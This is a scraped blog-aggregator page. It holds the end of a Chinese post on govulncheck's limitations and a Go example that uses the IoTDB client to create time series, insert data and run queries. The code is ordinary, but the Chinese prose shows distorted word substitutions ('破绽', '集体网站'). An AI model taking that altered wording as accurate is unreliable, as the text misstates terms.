假如一个破绽如果只在Linux下才有,那在Windows下执行govulncheck的时候就不会报告该破绽。对于跨平台开发的我的项目,比方Windows下开发,理论部署在Linux上,那就可能导致开发环境下不能检测出破绽。假如Go 1.18规范库里才有的破绽,如果以后执行govulncheck所在的编译环境的Go版本是1.19,那也不会报告该破绽。更多对于govulncheck的限度,能够参考govulncheck limitations。 开源地址文章和示例代码开源在GitHub: Go语言高级、中级和高级教程。 公众号:coding进阶。关注公众号能够获取最新Go面试题和技术栈。 集体网站:Jincheng's Blog。 知乎:无忌。 Referenceshttps://go.dev/blog/vulnhttps://go.dev/security/vuln/https://go.dev/security/vuln/...https://pkg.go.dev/golang.org...

September 11, 2022 · 1 min · jiezi

关于go:golang连接IoTDB时序库

先装置好Golang环境,IoTDB时序库MacBook Linux 树莓派raspberrypi装置Golang环境 Linux MacBook Docker装置IoTDB及应用 package mainimport ( "flag" "fmt" "log" "math/rand" "time" "github.com/apache/iotdb-client-go/client" "github.com/apache/iotdb-client-go/rpc")var ( host string port string user string password string)var session *client.Sessionfunc main() { flag.StringVar(&host, "host", "127.0.0.1", "--host=192.168.1.100") flag.StringVar(&port, "port", "6667", "--port=6667") flag.StringVar(&user, "user", "root", "--user=root") flag.StringVar(&password, "password", "root", "--password=root") flag.Parse() config := &client.Config{ Host: host, Port: port, UserName: user, Password: password, } session = client.NewSession(config) if err := session.Open(false, 0); err != nil { log.Fatal(err) } defer session.Close() setStorageGroup("root.ln1") deleteStorageGroup("root.ln1") setStorageGroup("root.ln1") setStorageGroup("root.ln2") deleteStorageGroups("root.ln1", "root.ln2") createTimeseries("root.sg1.dev1.status") deleteTimeseries("root.sg1.dev1.status") createMultiTimeseries() deleteTimeseries("root.sg1.dev1.temperature") insertStringRecord() deleteTimeseries("root.ln.wf02.wt02.hardware") insertRecord() deleteTimeseries("root.sg1.dev1.status") insertRecords() deleteTimeseries("root.sg1.dev1.status") insertTablet() var timeout int64 = 1000 if ds, err := session.ExecuteQueryStatement("select * from root.ln.device1", &timeout); err == nil { printDevice1(ds) ds.Close() } else { log.Fatal(err) } insertTablets() deleteTimeseries("root.ln.device1.restart_count", "root.ln.device1.price", "root.ln.device1.tick_count", "root.ln.device1.temperature", "root.ln.device1.description", "root.ln.device1.status") insertRecord() deleteData() setTimeZone() if tz, err := getTimeZone(); err != nil { fmt.Printf("TimeZone: %s", tz) } executeStatement() executeQueryStatement("select count(s3) from root.sg1.dev1") executeRawDataQuery() executeBatchStatement() deleteTimeseries("root.sg1.dev1.status") deleteTimeseries("root.ln.wf02.wt02.s5") //0.12.x and newer insertRecordsOfOneDevice() deleteTimeseries("root.sg1.dev0.*")}func printDevice1(sds *client.SessionDataSet) { showTimestamp := !sds.IsIgnoreTimeStamp() if showTimestamp { fmt.Print("Time\t\t\t\t") } for _, columnName := range sds.GetColumnNames() { fmt.Printf("%s\t", columnName) } fmt.Println() for next, err := sds.Next(); err == nil && next; next, err = sds.Next() { if showTimestamp { fmt.Printf("%s\t", sds.GetText(client.TimestampColumnName)) } var restartCount int32 var price float64 var tickCount int64 var temperature float32 var description string var status bool // All of iotdb datatypes can be scan into string variables // var restartCount string // var price string // var tickCount string // var temperature string // var description string // var status string if err := sds.Scan(&restartCount, &price, &tickCount, &temperature, &description, &status); err != nil { log.Fatal(err) } whitespace := "\t\t" fmt.Printf("%v%s", restartCount, whitespace) fmt.Printf("%v%s", price, whitespace) fmt.Printf("%v%s", tickCount, whitespace) fmt.Printf("%v%s", temperature, whitespace) fmt.Printf("%v%s", description, whitespace) fmt.Printf("%v%s", status, whitespace) fmt.Println() }}func printDataSet0(sessionDataSet *client.SessionDataSet) { showTimestamp := !sessionDataSet.IsIgnoreTimeStamp() if showTimestamp { fmt.Print("Time\t\t\t\t") } for i := 0; i < sessionDataSet.GetColumnCount(); i++ { fmt.Printf("%s\t", sessionDataSet.GetColumnName(i)) } fmt.Println() for next, err := sessionDataSet.Next(); err == nil && next; next, err = sessionDataSet.Next() { if showTimestamp { fmt.Printf("%s\t", sessionDataSet.GetText(client.TimestampColumnName)) } for i := 0; i < sessionDataSet.GetColumnCount(); i++ { columnName := sessionDataSet.GetColumnName(i) switch sessionDataSet.GetColumnDataType(i) { case client.BOOLEAN: fmt.Print(sessionDataSet.GetBool(columnName)) case client.INT32: fmt.Print(sessionDataSet.GetInt32(columnName)) case client.INT64: fmt.Print(sessionDataSet.GetInt64(columnName)) case client.FLOAT: fmt.Print(sessionDataSet.GetFloat(columnName)) case client.DOUBLE: fmt.Print(sessionDataSet.GetDouble(columnName)) case client.TEXT: fmt.Print(sessionDataSet.GetText(columnName)) default: } fmt.Print("\t\t") } fmt.Println() }}func printDataSet1(sds *client.SessionDataSet) { showTimestamp := !sds.IsIgnoreTimeStamp() if showTimestamp { fmt.Print("Time\t\t\t\t") } for i := 0; i < sds.GetColumnCount(); i++ { fmt.Printf("%s\t", sds.GetColumnName(i)) } fmt.Println() for next, err := sds.Next(); err == nil && next; next, err = sds.Next() { if showTimestamp { fmt.Printf("%s\t", sds.GetText(client.TimestampColumnName)) } for i := 0; i < sds.GetColumnCount(); i++ { columnName := sds.GetColumnName(i) v := sds.GetValue(columnName) if v == nil { v = "null" } fmt.Printf("%v\t\t", v) } fmt.Println() }}func printDataSet2(sds *client.SessionDataSet) { showTimestamp := !sds.IsIgnoreTimeStamp() if showTimestamp { fmt.Print("Time\t\t\t\t") } for i := 0; i < sds.GetColumnCount(); i++ { fmt.Printf("%s\t", sds.GetColumnName(i)) } fmt.Println() for next, err := sds.Next(); err == nil && next; next, err = sds.Next() { if showTimestamp { fmt.Printf("%s\t", sds.GetText(client.TimestampColumnName)) } if record, err := sds.GetRowRecord(); err == nil { for _, field := range record.GetFields() { v := field.GetValue() if field.IsNull() { v = "null" } fmt.Printf("%v\t\t", v) } fmt.Println() } }}func setStorageGroup(sg string) { checkError(session.SetStorageGroup(sg))}func deleteStorageGroup(sg string) { checkError(session.DeleteStorageGroup(sg))}func deleteStorageGroups(sgs ...string) { checkError(session.DeleteStorageGroups(sgs...))}func createTimeseries(path string) { var ( dataType = client.FLOAT encoding = client.PLAIN compressor = client.SNAPPY ) checkError(session.CreateTimeseries(path, dataType, encoding, compressor, nil, nil))}func createMultiTimeseries() { var ( paths = []string{"root.sg1.dev1.temperature"} dataTypes = []client.TSDataType{client.TEXT} encodings = []client.TSEncoding{client.PLAIN} compressors = []client.TSCompressionType{client.SNAPPY} ) checkError(session.CreateMultiTimeseries(paths, dataTypes, encodings, compressors))}func deleteTimeseries(paths ...string) { checkError(session.DeleteTimeseries(paths))}func insertStringRecord() { var ( deviceId = "root.ln.wf02.wt02" measurements = []string{"hardware"} values = []string{"123"} timestamp int64 = 12 ) checkError(session.InsertStringRecord(deviceId, measurements, values, timestamp))}func insertRecord() { var ( deviceId = "root.sg1.dev1" measurements = []string{"status"} values = []interface{}{"123"} dataTypes = []client.TSDataType{client.TEXT} timestamp int64 = 12 ) checkError(session.InsertRecord(deviceId, measurements, dataTypes, values, timestamp))}func insertRecords() { var ( deviceId = []string{"root.sg1.dev1"} measurements = [][]string{{"status"}} dataTypes = [][]client.TSDataType{{client.TEXT}} values = [][]interface{}{{"123"}} timestamp = []int64{12} ) checkError(session.InsertRecords(deviceId, measurements, dataTypes, values, timestamp))}func insertRecordsOfOneDevice() { ts := time.Now().UTC().UnixNano() / 1000000 var ( deviceId = "root.sg1.dev0" measurementsSlice = [][]string{ {"restart_count", "tick_count", "price"}, {"temperature", "description", "status"}, } dataTypes = [][]client.TSDataType{ {client.INT32, client.INT64, client.DOUBLE}, {client.FLOAT, client.TEXT, client.BOOLEAN}, } values = [][]interface{}{ {int32(1), int64(2018), float64(1988.1)}, {float32(12.1), "Test Device 1", false}, } timestamps = []int64{ts, ts - 1} ) checkError(session.InsertRecordsOfOneDevice(deviceId, timestamps, measurementsSlice, dataTypes, values, false))}func deleteData() { var ( paths = []string{"root.sg1.dev1.status"} startTime int64 = 0 endTime int64 = 12 ) checkError(session.DeleteData(paths, startTime, endTime))}func insertTablet() { if tablet, err := createTablet(12); err == nil { status, err := session.InsertTablet(tablet, false) checkError(status, err) } else { log.Fatal(err) }}func createTablet(rowCount int) (*client.Tablet, error) { tablet, err := client.NewTablet("root.ln.device1", []*client.MeasurementSchema{ { Measurement: "restart_count", DataType: client.INT32, Encoding: client.RLE, Compressor: client.SNAPPY, }, { Measurement: "price", DataType: client.DOUBLE, Encoding: client.GORILLA, Compressor: client.SNAPPY, }, { Measurement: "tick_count", DataType: client.INT64, Encoding: client.RLE, Compressor: client.SNAPPY, }, { Measurement: "temperature", DataType: client.FLOAT, Encoding: client.GORILLA, Compressor: client.SNAPPY, }, { Measurement: "description", DataType: client.TEXT, Encoding: client.PLAIN, Compressor: client.SNAPPY, }, { Measurement: "status", DataType: client.BOOLEAN, Encoding: client.RLE, Compressor: client.SNAPPY, }, }, rowCount) if err != nil { return nil, err } ts := time.Now().UTC().UnixNano() / 1000000 for row := 0; row < int(rowCount); row++ { ts++ tablet.SetTimestamp(ts, row) tablet.SetValueAt(rand.Int31(), 0, row) tablet.SetValueAt(rand.Float64(), 1, row) tablet.SetValueAt(rand.Int63(), 2, row) tablet.SetValueAt(rand.Float32(), 3, row) tablet.SetValueAt(fmt.Sprintf("Test Device %d", row+1), 4, row) tablet.SetValueAt(bool(ts%2 == 0), 5, row) } return tablet, nil}func insertTablets() { tablet1, err := createTablet(8) if err != nil { log.Fatal(err) } tablet2, err := createTablet(4) if err != nil { log.Fatal(err) } tablets := []*client.Tablet{tablet1, tablet2} checkError(session.InsertTablets(tablets, false))}func setTimeZone() { var timeZone = "GMT" session.SetTimeZone(timeZone)}func getTimeZone() (string, error) { return session.GetTimeZone()}func executeStatement() { var sql = "show storage group" sessionDataSet, err := session.ExecuteStatement(sql) if err == nil { printDataSet0(sessionDataSet) sessionDataSet.Close() } else { log.Println(err) }}func executeQueryStatement(sql string) { var timeout int64 = 1000 sessionDataSet, err := session.ExecuteQueryStatement(sql, &timeout) if err == nil { printDataSet1(sessionDataSet) sessionDataSet.Close() } else { log.Println(err) }}func executeRawDataQuery() { session.ExecuteUpdateStatement("insert into root.ln.wf02.wt02(time,s5) values(1,true)") var ( paths []string = []string{"root.ln.wf02.wt02.s5"} startTime int64 = 1 endTime int64 = 200 ) sessionDataSet, err := session.ExecuteRawDataQuery(paths, startTime, endTime) if err == nil { printDataSet2(sessionDataSet) sessionDataSet.Close() } else { log.Println(err) }}func executeBatchStatement() { var sqls = []string{"insert into root.ln.wf02.wt02(time,s5) values(1,true)", "insert into root.ln.wf02.wt02(time,s5) values(2,true)"} checkError(session.ExecuteBatchStatement(sqls))}func checkError(status *rpc.TSStatus, err error) { if err != nil { log.Fatal(err) } if status != nil { if err = client.VerifySuccess(status); err != nil { log.Println(err) } }}参考链接: https://github.com/apache/iot... ...

September 9, 2022 · 5 min · jiezi